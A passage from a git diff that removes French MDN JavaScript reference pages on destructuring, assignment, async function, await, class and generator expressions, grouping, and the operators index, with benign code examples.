-  radius: 30
-});
- -
-

Note : Dans la signature de la fonction dessinGrapheES2015 ci avant, la valeur décomposée à gauche utilise un objet vide comme opérande droit ({size = 'big', coords = { x: 0, y: 0 }, radius = 25} = {}). On aurait également pu écrire la fonction sans cet objet vide mais, dans ce cas, il aurait fallu au moins un argument pour utiliser la fonction. Avec cette « forme », dessinGrapheES2015() pourra être appelée sans paramètre.

-
- -

Décomposition imbriquée avec objets et tableaux

- -
const metadata = {
-    title: "Scratchpad",
-    translations: [
-       {
-        locale: "de",
-        localization_tags: [ ],
-        last_edit: "2014-04-14T08:43:37",
-        url: "/de/docs/Tools/Scratchpad",
-        title: "JavaScript-Umgebung"
-       }
-    ],
-    url: "/en-US/docs/Tools/Scratchpad"
-};
-
-let { title: englishTitle, translations: [{ title: localeTitle }] } = metadata;
-
-console.log(englishTitle); // "Scratchpad"
-console.log(localeTitle);  // "JavaScript-Umgebung"
- -

Décomposition et utilisation de for of

- -
const personnes = [
-  {
-    nom: "Alain Dupont",
-    famille: {
-      mere: "Isabelle Dupont",
-      pere: "Jean Dupont",
-      soeur: "Laure Dupont"
-    },
-    age: 35
-  },
-  {
-    nom: "Luc Marchetoile",
-    famille: {
-      mere: "Patricia Marchetoile",
-      pere: "Antonin Marchetoile",
-      frere: "Yann Marchetoile"
-    },
-    age: 25
-  }
-];
-
-for (const {nom: n, famille: { pere: f } } of personnes) {
-  console.log("Nom : " + n + ", Père : " + f);
-}
-
-// "Nom : Alain Dupont, Père : Jean Dupont"
-// "Nom : Luc Marchetoile, Père : Antonin Marchetoile"
- -

Décomposer les propriétés d'objets passés en arguments

- -
const user = {
-  id: 42,
-  displayName: "jbiche",
-  fullName: {
-    firstName: "Jean",
-    lastName: "Biche"
-  }
-};
-
-function userId({id}) {
-  return id;
-}
-
-function whois({displayName: displayName, fullName: {firstName: name}}){
-  console.log(displayName + " est " + name);
-}
-
-console.log("userId: " + userId(user)); w// "userId: 42"
-whois(user); // "jbiche est Jean"
- -

Cela permet d'accéder directement à id, displayName et firstName depuis l'objet user.

- -

Les noms de propriétés calculés et la décomposition

- -

Il est possible d'utiliser des noms de propriétés calculés, comme avec les littéraux objets, avec la décomposition.

- -
let clef = "z";
-let { [clef]: toto } = { z: "truc" };
-
-console.log(toto); // "truc"
- -

Syntaxe du « reste » et décomposition d'un objet

- -

La proposition de décomposition des propriétés et de la syntaxe du reste dans ECMAScript ajoute la syntaxe du reste pour la décomposition. La propriété du reste permet de collecter les propriétés énumérables restantes qui n'auraient pas été extraites par la décomposition :

- -
let {a, b, ...reste } = {a: 10, b: 20, c: 30, d: 40};
-a; // 10
-b; // 20
-reste; // { c: 30, d: 40 }
- -

Gestion des identifiants invalides comme noms de propriétés

- -

Si besoin, on peut également utiliser la décomposition pour fournir un alias à des noms de propriétés qui ne seraient pas des identifiants valides. Par exemple :

- -
const toto = {'truc-bidule': true}
-const {'truc-bidule': trucBidule } = toto;
-
-console.log(trucBidule);  // "true"
- -

Combiner la décomposition de tableaux et d'objets

- -

Il est possible de décomposer un tableau et un objet simultanément. Dans l'exemple qui suit, on accède ainsi à la propriété nom du troisième élément du tableau props:

- -
const props = [
-  { id: 1, nom: "Toto"},
-  { id: 2, nom: "Truc"},
-  { id: 3, nom: "Bidule"}
-];
-
-const [,, {nom}] = props;
-console.log(nom); // Bidule
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-destructuring-assignment', 'Destructuring assignment')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-destructuring-assignment', 'Destructuring assignment')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.destructuring")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/assignement/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/assignement/index.html" deleted file mode 100644 index 5011c20000..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/assignement/index.html" +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Assignement (=) -slug: Web/JavaScript/Reference/Opérateurs/Assignement -tags: - - Fonctionnalités du language - - JavaScript - - Opérateur - - Opérateur d'assignement - - Reference -translation_of: Web/JavaScript/Reference/Operators/Assignment ---- -
{{jsSidebar("Operators")}}
- -

L'opérateur d'assignement simple (=) est utilisé pour définir la valeur d'une variable. Il est possible d'ajouter une valeur à plusieurs variables en chaînant les variables.

- -
{{EmbedInteractiveExample("pages/js/expressions-assignment.html")}}
- -
- - - -

Syntaxe

- -
Opérateur : x = y
-
- -

Exemples

- -

Assignement simple et variables en chaînes

- -
// On considère les variables suivantes :
-var x = 5;
-var y = 10;
-var z = 25;
-
-x = y;
-// x est égale à 10
-
-x = y = z;
-// x, y et z sont égales à 25
- -

Specifications

- - - - - - - - - - -
Specification
{{SpecName('ESDraft', '#sec-assignment-operators', 'Assignment operators')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.assignment")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/async_function/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/async_function/index.html" deleted file mode 100644 index 0dd3cf0def..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/async_function/index.html" +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Expression async function -slug: Web/JavaScript/Reference/Opérateurs/async_function -tags: - - Function - - JavaScript - - Opérateur - - Reference -translation_of: Web/JavaScript/Reference/Operators/async_function ---- -
{{jsSidebar("Operators")}}
- -

Le mot-clé async function peut être utilisé pour définir une fonction asynchrone au sein d'une expression.

- -
-

Note : Il est aussi possible de définir une fonction asynchrone en utilisant une instruction async function.

-
- -

Syntaxe

- -
async function [name]([param1[, param2[, ..., paramN]]]) {
-   instructions
-}
- -

Paramètres

- -
-
name
-
Le nom de la fonction. Il est facultatif et s'il n'est pas utilisé, la fonction est anonyme. Le nom utilisé est uniquement local pour le corps de la fonction.
-
paramN
-
Le nom d'un argument à passer à la fonction.
-
instructions
-
Les instructions qui composent le corps de la fonction.
-
- -
-

Note : À partir d'ES2015 (ES6), il est aussi possible d'utiliser des fonctions fléchées pour les expressions de fonction asynchrone.

-
- -

Description

- -

Une expression async function est très proche, et partage quasiment la même syntaxe avec {{jsxref('Instructions/async_function', 'une instruction async function',"",1)}}. La différence principale entre une expression async function et une instruction async function est qu'on peut omettre le nom de la fonction dans les expressions async function. On peut donc utiliser une expression async function afin de créer une IIFE (pour Immediately Invoked Function Expression) qu'on appelle au moment de sa définition. Voir également le chapitre sur les fonctions pour plus d'informations.

- -

Exemples

- -

Exemple simple

- -
function resolveAfter2Seconds(x) {
-  return new Promise(resolve => {
-    setTimeout(() => {
-      resolve(x);
-    }, 2000);
-  });
-};
-
-(async function(x) { // fonction asynchrone immédiatement appelée
-  var a = resolveAfter2Seconds(20);
-  var b = resolveAfter2Seconds(30);
-  return x + await a + await b;
-})(10).then(v => {
-  console.log(v);  // affiche 60 après 2 secondes.
-});
-
-var add = async function(x) {
-  var a = await resolveAfter2Seconds(20);
-  var b = await resolveAfter2Seconds(30);
-  return x + a + b;
-};
-
-add(10).then(v => {
-  console.log(v);  // affiche 60 après 4 secondes.
-});
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}{{Spec2('ESDraft')}} 
{{SpecName('ES2018', '#sec-async-function-definitions', 'async function')}}{{Spec2('ES2018')}} 
{{SpecName('ES2017', '#sec-async-function-definitions', 'async function')}}{{Spec2('ES2017')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.async_function_expression")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/async_function", "async function")}}
    • -
  • L'objet {{jsxref("AsyncFunction")}}
    • -
  • {{jsxref("Opérateurs/await", "await")}}
    • -
diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/await/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/await/index.html" deleted file mode 100644 index 87423b32a0..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/await/index.html" +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: await -slug: Web/JavaScript/Reference/Opérateurs/await -tags: - - JavaScript - - Opérateur - - Reference -translation_of: Web/JavaScript/Reference/Operators/await ---- -
{{jsSidebar("Operators")}}
- -

L'opérateur await permet d'attendre la résolution d'une promesse ({{jsxref("Promise")}}). Il ne peut être utilisé qu'au sein d'une fonction asynchrone (définie avec l'instruction {{jsxref("Instructions/async_function", "async function")}}).

- -

Syntaxe

- -
[rv] = await expression;
- -
-
expression
-
Une promesse ({{jsxref("Promise")}}) ou toute autre valeur dont on souhaite attendre la résolution.
-
rv
-
-

La valeur de retour qui est celle de la promesse lorsqu'elle est résolue ou la valeur de l'expression lorsque celle-ci n'est pas une promesse.

-
-
- -

Description

- -

L'expression await interrompt l'exécution d'une fonction asynchrone et attend la résolution d'une promesse. Lorsque la promesse est résolue (tenue ou rompue), la valeur est renvoyée et l'exécution de la fonction asynchrone reprend. Si la valeur de l'expression n'est pas une promesse, elle est convertie en une promesse résolue ayant cette valeur.

- -

Si la promesse est rompue, l'expression await lève une exception avec la raison.

- -

Exemples

- -

Si on passe une promesse à une expression await, celle-ci attendra jusqu'à la résolution de la promesse et renverra la valeur de résolution.

- -
function resolveAfter2Seconds(x) {
-  return new Promise(resolve => {
-    setTimeout(() => {
-      resolve(x);
-    }, 2000);
-  });
-}
-
-async function f1() {
-  var x = await resolveAfter2Seconds(10);
-  console.log(x); // 10
-}
-f1();
-
- -

Les objets dotés d'une méthode then() (thenable en anglais) seront également résolus :

- -
async function f0() {
-  const thenable = {
-    then: function(resolve, _reject) {
-      resolve("résolu :)");
-    }
-  };
-  console.log(await thenable); // résolu :)
-}
-f0();
- -

Si la valeur n'est pas une promesse, elle est convertie en une promesse résolue :

- -
async function f2() {
-  var y = await 20;
-  console.log(y); // 20
-}
-f2();
- -

Si la promesse est rejetée, la raison est fournie avec l'exception.

- -
async function f3() {
-  try {
-    var z = await Promise.reject(30);
-  } catch (e) {
-    console.log(e); // 30
-  }
-}
-f3();
- -

On peut également gérer le cas où la promesse est rejetée grâce à {{jsxref("Promise.prototype.catch()")}} :

- -
var response = await maFonctionPromesse().catch(
-  (err) => {
-    console.log(err);
-  }
-);
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("ESDraft", "#sec-async-function-definitions", "async functions")}}{{Spec2("ESDraft")}}
{{SpecName("ES2018", "#sec-async-function-definitions", "async functions")}}{{Spec2('ES2018')}}
{{SpecName("ES2017", "#sec-async-function-definitions", "async functions")}}{{Spec2('ES2017')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.await")}}

- -

Voir aussi

- -
    -
  • L'instruction {{jsxref("Instructions/async_function", "async function")}}
    • -
  • L'expression {{jsxref("Opérateurs/async_function", "async function")}}
    • -
  • L'objet {{jsxref("AsyncFunction")}}
    • -
diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/class/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/class/index.html" deleted file mode 100644 index b41f9fc832..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/class/index.html" +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: class -slug: Web/JavaScript/Reference/Opérateurs/class -tags: - - ECMAScript 2015 - - JavaScript - - Opérateur - - Reference -translation_of: Web/JavaScript/Reference/Operators/class ---- -
{{JSSidebar("Operators")}}
- -

Une expression de classe est un moyen de définir une classe avec ECMASCript 2015 (ES6). Semblable aux expressions de fonctions, les expressions de classes peuvent être nommées ou anonymes. Si l'expression est nommée, le nom de la classe ne sera local que pour le corps de la fonction. Cette syntaxe n'est qu'un « sucre syntaxique » pour faciliter l'écriture du code, elle ne modifie en aucun cas le modèle d'héritage utilisé par JavaScript qui est un modèle à base de prototypes.

- -
{{EmbedInteractiveExample("pages/js/expressions-classexpression.html")}}
- - - -

Syntaxe

- -
var MaClasse = class [nomClasse] [extends] {
-  // corps de la classe
-};
- -

Description

- -

Une expression de classe utilise une syntaxe similaire à celle d'une instruction de classe. En revanche, avec les expressions de classes, il est possible de ne pas nommer la classe, ce qu'il est impossible de faire avec les instructions de classes. De plus, en utilisant les expressions de classe, on peut redéfinir/redéclarer les classes si nécessaire. Le type d'une classe sera toujours "function".

- -

Le corps d'une classe sera exécuté en mode strict (pour les instructions et les expressions de classe).

- -

Exemples

- -

Une expression simple

- -

Ici, on utilise une expression de classe anonyme qu'on lie à la variable Toto.

- -
var Toto = class {
-  constructor() {}
-  truc() {
-    return "Coucou monde !";
-  }
-};
-
-var instance = new Toto();
-instance.truc(); // "Coucou monde !"
-Toto.name; // "Toto"
-
- -

Des expressions nommées

- -

Si on souhaite faire référence à la classe, au sein du corps de la classe, on pourra utiliser une expression nommée. Le nom utilisé ne sera visible que depuis l'intérieur de la portée de l'expression de classe.

- -
// TBD
-var Toto = class TotoNommé {
-  constructor() {}
-  quiEstLa() {
-    return TotoNommé.name;
-  }
-}
-
-var truc = new Toto;
-truc.quiEstLa(); // "TotoNommmé"
-TotoNommé.name;  // ReferenceError
-Toto.name;       // "TotoNommé"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ES2016', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ES2016')}} 
{{SpecName('ES2017', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ES2017')}} 
{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.class")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/function_star_/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/function_star_/index.html" deleted file mode 100644 index 8fa8fa1a4e..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/function_star_/index.html" +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Expression function* -slug: Web/JavaScript/Reference/Opérateurs/function* -tags: - - ECMAScript 2015 - - Function - - Iterator - - JavaScript - - Operator - - Reference -translation_of: Web/JavaScript/Reference/Operators/function* ---- -
{{jsSidebar("Operators")}}
- -

Le mot-clé function* peut être utilisé pour définir une fonction génératrice à l'intérieur d'une expression.

- -
{{EmbedInteractiveExample("pages/js/expressions-functionasteriskexpression.html")}}
- - - -

Syntaxe

- -
function* [nom]([param1[, param2[, ..., paramN]]]) {
-   instructions
-}
- -

Paramètres

- -
-
nom
-
Le nom de la fonction. Ce paramètre est optionnel, auquel cas la fonction sera une fonction anonyme. Le nom sera local par rapport au corps de la fonction.
-
paramN
-
Le nom d'un argument à passer à la fonction. Une fonction peut avoir jusqu'à 255 arguments.
-
instructions
-
Les instructions qui forment le corps de la fonction.
-
- -

Description

- -

Une expression function* est très semblable à une instruction {{jsxref('Instructions/function*', 'function*')}}, elle possède également une syntaxe similaire. La différence principale entre une expression function* et une instruction function* est le nom de la fonction. En effet, dans les expressions, le nom peut être omis pour créer une fonction génératrice anonyme. Voir également le chapitre sur les fonctions pour plus d'informations.

- -

Exemples

- -

L'exemple qui suit illustre comment définir une génératrice anonyme et l'affecter à une variable x. Cette fonction génèrera le carré de son argument :

- -
var x = function*(y) {
-   yield y * y;
-};
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-generator-function-definitions', 'function*')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-generator-function-definitions', 'function*')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.function_star")}}

- -

Voir aussi

- -
    -
  • L'instruction {{jsxref("Instructions/function*", "function*")}}
    • -
  • L'objet {{jsxref("GeneratorFunction")}}
    • -
  • Le protocole itérateur
    • -
  • {{jsxref("Opérateurs/yield", "yield")}}
    • -
  • {{jsxref("Opérateurs/yield*", "yield*")}}
    • -
  • L'objet {{jsxref("Function")}}
    • -
  • L'instruction {{jsxref("Instructions/function", "function")}}
    • -
  • L'expression {{jsxref("Opérateurs/L_opérateur_function", "function")}}
    • -
  • {{jsxref("Fonctions", "Fonctions et portée des fonctions","","1")}}
    • -
diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/groupement/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/groupement/index.html" deleted file mode 100644 index 07292088cd..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/groupement/index.html" +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Opérateur de groupement -slug: Web/JavaScript/Reference/Opérateurs/Groupement -tags: - - JavaScript - - Operator - - Primary Expressions -translation_of: Web/JavaScript/Reference/Operators/Grouping ---- -
{{jsSidebar("Operators")}}
- -

L'opérateur de groupement ( ) contrôle la précédence de l'évaluation dans les expressions.

- -
{{EmbedInteractiveExample("pages/js/expressions-groupingoperator.html")}}
- - - -

Syntaxe

- -
 ( )
- -

Description

- -

L'opérateur de groupement consiste en une paire de parenthèses encadrant une expression et permettant de surcharger la précédence normale des opérateurs afin que les expressions dont la précédence est plus basse soient évaluées avant.

- -

Exemples

- -

Normalement, la multiplication et la division sont prises en compte avant l'addition et la soustraction. On peut changer ce comportement avec l'opérateur de groupement.

- -
var a = 1;
-var b = 2;
-var c = 3;
-
-// précédence normale
-a + b * c     // 7
-// l'évaluation est effectuée de cette façon
-a + (b * c)   // 7
-
-// précédence surchargée avec le groupement
-// on additionne avant de multiplier
-(a + b) * c   // 9
-
-// mathématiquement, cela est équivalent à
-a * c + b * c // 9
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ESDraft', '#sec-grouping-operator', 'The Grouping Operator')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-grouping-operator', 'L\'opérateur de groupement')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-11.1.6', 'L\'opérateur de groupement')}}{{Spec2('ES5.1')}} 
{{SpecName('ES1', '#sec-11.1.4','L\'opérateur de groupement')}}{{Spec2('ES1')}}Définition initiale, implémentée avec JavaScript 1.0.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.grouping")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/index.html" deleted file mode 100644 index 531baa29cc..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/index.html" +++ /dev/null @@ -1,302 +0,0 @@ ---- -title: Opérateurs -slug: Web/JavaScript/Reference/Opérateurs -tags: - - JavaScript - - Opérateurs - - Reference -translation_of: Web/JavaScript/Reference/Operators ---- -
{{jsSidebar("Operators")}}
- -

Ce chapitre documente l'ensemble des opérateurs, expressions et mots-clés utilisés en JavaScript.

- -

Expressions et opérateurs, par catégorie

- -

Pour une liste alphabétique, voir le volet de navigation situé à gauche sur cette page.

- -

Expressions primaires

- -

Les mots-clés basiques et les expressions générales en JavaScript.

- -
-
{{jsxref("Opérateurs/L_opérateur_this", "this")}}
-
Le mot-clé this fait référence à une propriété spéciale du contexte d'exécution de la fonction.
-
{{jsxref("Opérateurs/L_opérateur_function", "function")}}
-
Le mot-clé function définit une expression de fonction.
-
{{jsxref("Opérateurs/class", "class")}}
-
Le mot-clé class définit une expression de classe.
-
 {{jsxref("Opérateurs/function*", "function*")}}
-
Le mot-clé function* définit une expression pour une fonction génératrice.
-
{{jsxref("Opérateurs/yield", "yield")}}
-
Cet opérateur permet de suspendre et de reprendre l'exécution d'une fonction génératrice.
-
{{jsxref("Opérateurs/yield*", "yield*")}}
-
Cet opérateur permet de déléguer l'exécution de la fonction à une autre fonction ou un autre objet itérable.
-
{{experimental_inline}} {{jsxref("Opérateurs/async_function", "async function*")}}
-
L'opérateur async function définit une expression de fonction asynchrone.
-
{{experimental_inline}} {{jsxref("Opérateurs/await", "await")}}
-
Cet opérateur permet de stopper et de reprendre l'exécution d'une fonction asynchrone et d'attendre pour la résolution ou le rejet d'une promesse.
-
{{jsxref("Objets_globaux/Array", "[]")}}
-
Littéral initialisateur de tableau.
-
{{jsxref("Opérateurs/Initialisateur_objet", "{}")}}
-
Littéral initialisateur d'objet.
-
{{jsxref("Objets_globaux/RegExp", "/ab+c/i")}}
-
Littéral d'expression rationnelle.
-
{{jsxref("Opérateurs/Groupement", "( )")}}
-
Opérateur de groupement.
-
- -

Expressions « vers la gauche »

- -

On affectera des valeurs aux variables à gauche de l'expression.

- -
-
{{jsxref("Opérateurs/Opérateurs_de_membres", "Opérateurs de membres", "", 1)}}
-
Les opérateurs de membres permettent d'accéder à une propriété ou une méthode d'un objet (objet.propriété et object["propriété"]).
-
{{jsxref("Opérateurs/L_opérateur_new", "new")}}
-
L'opérateur new permet de créer une instance d'un constructeur.
-
new.target
-
Dans les constructeurs, new.target fait référence au constructeur invoqué par {{jsxref("Opérateurs/new", "new")}}.
-
{{jsxref("Opérateurs/super", "super")}}
-
Le mot-clé super permet d'appeler le constructeur parent.
-
{{jsxref("Opérateurs/Syntaxe_décomposition", "...obj")}}
-
L'opérateur de décomposition permet de développer une expression là où on attend plusieurs arguments (pour des appels de fonctions) ou plusieurs éléments (pour les littéraux de tableaux).
-
- -

Incrémentation et décrémentation

- -

Les opérateurs d'incrémentation et de décrémentation, suffixe et préfixe :

- -
-
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "A++", "#Incr.C3.A9ment_(.2B.2B)")}}
-
Opérateur d'incrémentation suffixe.
-
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "A--", "#D.C3.A9cr.C3.A9ment_(--)")}}
-
Opérateur de décrémentation suffixe.
-
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "++A", "#Incr.C3.A9ment_(.2B.2B)")}}
-
Opérateur d'incrémentation préfixe.
-
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "--A", "#D.C3.A9cr.C3.A9ment_(--)")}}
-
Opérateur de décrémentation préfixe.
-
- -

Opérateurs unaires

- -

Une opération unaire est une opération qui ne possède qu'un opérande.

- -
-
{{jsxref("Opérateurs/L_opérateur_delete", "delete")}}
-
L'opérateur delete permet de supprimer une propriété d'un objet.
-
{{jsxref("Opérateurs/L_opérateur_void", "void")}}
-
L'opérateur void écarte la valeur de retour d'une expression.
-
{{jsxref("Opérateurs/L_opérateur_typeof", "typeof")}}
-
L'opérateur typeof permet de déterminer le type d'un objet donné.
-
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "+", "#Plus_unaire_(.2B)")}}
-
Le plus unaire permet de convertir son opérande en une valeur du type Number.
-
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "-", "#N.C3.A9gation_unaire_(-)")}}
-
La négation unaire permet de convertir son opérande en une valeur du type Number puis d'en prendre l'opposé.
-
{{jsxref("Opérateurs/Opérateurs_binaires", "~", "#.7E_.28NON_binaire.29")}}
-
L'opérateur binaire NON (NOT).
-
{{jsxref("Opérateurs/Opérateurs_logiques", "!", "#NON_logique_.28.21.29")}}
-
L'opérateur du NON logique.
-
- -

Opérateurs arithmétiques

- -

Les opérateurs arithmétiques utilisent des opérandes numériques et renvoie une valeur numérique.

- -
-
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "+", "#Addition_(.2B)")}}
-
L'opérateur d'addition.
-
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "-", "#Soustraction_(-)")}}
-
L'opérateur de soustraction.
-
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "/", "#Division_(.2F)")}}
-
L'opérateur de division.
-
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "*", "#Multiplication_(*)")}}
-
L'opérateur de multiplication.
-
{{jsxref("Opérateurs/Opérateurs_arithmétiques", "%", "#Reste_(.25)")}}
-
L'opérateur du reste.
-
{{jsxref("Opérateurs/Opérateurs_arithmétiques","**","#Exponentiation")}}
-
Opérateur de puissance (exponentiation).
-
- -

Opérateurs relationnels

- -

Un opérateur de comparaison permet de comparer deux opérandes et de renvoyer une valeur booléenne selon le résultat de cette comparaison.

- -
-
{{jsxref("Opérateurs/L_opérateur_in", "in")}}
-
L'opérateur in permet de déterminer si un objet possède une propriété donnée.
-
{{jsxref("Opérateurs/instanceof", "instanceof")}}
-
L'opérateur instanceof permet de déterminer si un objet est une instance d'un autre objet.
-
{{jsxref("Opérateurs/Opérateurs_de_comparaison", "<", "#Op.C3.A9rateur_inf.C3.A9rieur_strict_(<)")}}
-
Opérateur inférieur strict.
-
{{jsxref("Opérateurs/Opérateurs_de_comparaison", ">", "#Op.C3.A9rateur_sup.C3.A9rieur_strict_(>)")}}
-
Opérateur supérieur strict.
-
{{jsxref("Opérateurs/Opérateurs_de_comparaison", "<=", "#Op.C3.A9rateur_inf.C3.A9rieur_ou_.C3.A9gal_(<.3D)")}}
-
Opérateur inférieur ou égal.
-
{{jsxref("Opérateurs/Opérateurs_de_comparaison", ">=", "#Op.C3.A9rateur_sup.C3.A9rieur_ou_.C3.A9gal_(>.3D)")}}
-
Opérateur supérieur ou égal.
-
- -
-

Note : => n'est pas un opérateur. Il s'agit de la notation utilisée pour les fonctions fléchées.

-
- -

Opérateurs d'égalité

- -

Un opérateur d'égalité considère deux opérandes et produit un résultat booléen basé sur le résultat de la comparaison.

- -
-
{{jsxref("Opérateurs/Opérateurs_de_comparaison", "==", "#Egalit.C3.A9_(.3D.3D)")}}
-
Opérateur d'égalité faible.
-
{{jsxref("Opérateurs/Opérateurs_de_comparaison", "!=", "#Inequality_(!.3D)")}}
-
Opérateur d'inégalité faible.
-
{{jsxref("Opérateurs/Opérateurs_de_comparaison", "===", "#Identity_.2F_strict_equality_(.3D.3D.3D)")}}
-
Opérateur d'égalité stricte.
-
{{jsxref("Opérateurs/Opérateurs_de_comparaison", "!==", "#Non-identity_.2F_strict_not_equal_(!.3D.3D)")}}
-
Opérateur d'inégalité stricte.
-
- -

Opérateurs de décalage binaires

- -

Ces opérations permettent de décaler les bits contenus dans l'opérande.

- -
-
{{jsxref("Opérateurs/Opérateurs_binaires", "<<", "#.3C.3C_.28d.C3.A9calage_.C3.A0_gauche.29")}}
-
Opérateur binaire de décalage à gauche.
-
{{jsxref("Opérateurs/Opérateurs_binaires", ">>", "#.3E.3E_.28d.C3.A9calage_.C3.A0_droite_avec_propagation_du_signe.29")}}
-
Opérateur binaire de décalage à droite.
-
{{jsxref("Opérateurs/Opérateurs_binaires", ">>>", "#.3E.3E.3E_.28d.C3.A9calage_.C3.A0_droite_avec_insertion_de_z.C3.A9ros.29")}}
-
Opérateur binaire de décalage à droite non-signé.
-
- -

Opérateurs binaires logiques

- -

Les opérateurs binaires logiques traitent leurs opérandes comme des valeurs sur 32 bits et renvoient une valeur numérique JavaScript correspondant au résultat.

- -
-
{{jsxref("Opérateurs/Opérateurs_binaires", "&", "#&_.28ET_binaire.29")}}
-
ET binaire (AND).
-
{{jsxref("Opérateurs/Opérateurs_binaires", "|", "#|_.28OU_binaire.29")}}
-
OU binaire (OR).
-
{{jsxref("Opérateurs/Opérateurs_binaires", "^", "#.5E_.28XOR_binaire.29")}}
-
OU exclusif binaire (XOR).
-
- -

Opérateurs logiques

- -

Les opérateurs logiques sont généralement utilisés avec des valeurs booléennes et renvoient une valeur booléenne, résultat de l'opération.

- -
-
{{jsxref("Opérateurs/Opérateurs_logiques", "&&", "#ET_logique_.28&&.29")}}
-
ET logique (AND).
-
{{jsxref("Opérateurs/Opérateurs_logiques", "||", "#OU_logique_.28||.29")}}
-
OU logique (OR).
-
- -

Opérateur conditionnel ternaire

- -
-
{{jsxref("Opérateurs/L_opérateur_conditionnel", "(condition ? siVrai : siFaux)")}}
-
-

Cet opérateur renvoie une des deux valeurs fournie en fonction de la valeur logique de la condition.

-
-
- -

Opérateurs d'affectation

- -

Un opérateur d'affectation permet d'affecter une valeur à son opérande gauche en se basant sur la valeur de l'opérande droit.

- -
-
{{jsxref("Opérateurs/Opérateurs_d_affectation", "=", "#Assignment")}}
-
Opérateur d'affectation.
-
{{jsxref("Opérateurs/Opérateurs_d_affectation", "*=", "#Multiplication_assignment")}}
-
Affectation après multiplication.
-
{{jsxref("Opérateurs/Opérateurs_d_affectation", "/=", "#Division_assignment")}}
-
Affectation après division.
-
{{jsxref("Opérateurs/Opérateurs_d_affectation", "%=", "#Remainder_assignment")}}
-
Affectation du reste.
-
{{jsxref("Opérateurs/Opérateurs_d_affectation", "+=", "#Addition_assignment")}}
-
Affectation après addition.
-
{{jsxref("Opérateurs/Opérateurs_d_affectation", "-=", "#Subtraction_assignment")}}
-
Affectation après soustraction.
-
{{jsxref("Opérateurs/Opérateurs_d_affectation", "<<=", "#Left_shift_assignment")}}
-
Affectation après décalage à gauche.
-
{{jsxref("Opérateurs/Opérateurs_d_affectation", ">>=", "#Right_shift_assignment")}}
-
Affectation après décalage à droite.
-
{{jsxref("Opérateurs/Opérateurs_d_affectation", ">>>=", "#Unsigned_right_shift_assignment")}}
-
Affectation après décalage à droite non-signé.
-
{{jsxref("Opérateurs/Opérateurs_d_affectation", "&=", "#Bitwise_AND_assignment")}}
-
Affectation après ET binaire.
-
{{jsxref("Opérateurs/Opérateurs_d_affectation", "^=", "#Bitwise_AND_assignment")}}
-
Affectation après OU exclusif binaire.
-
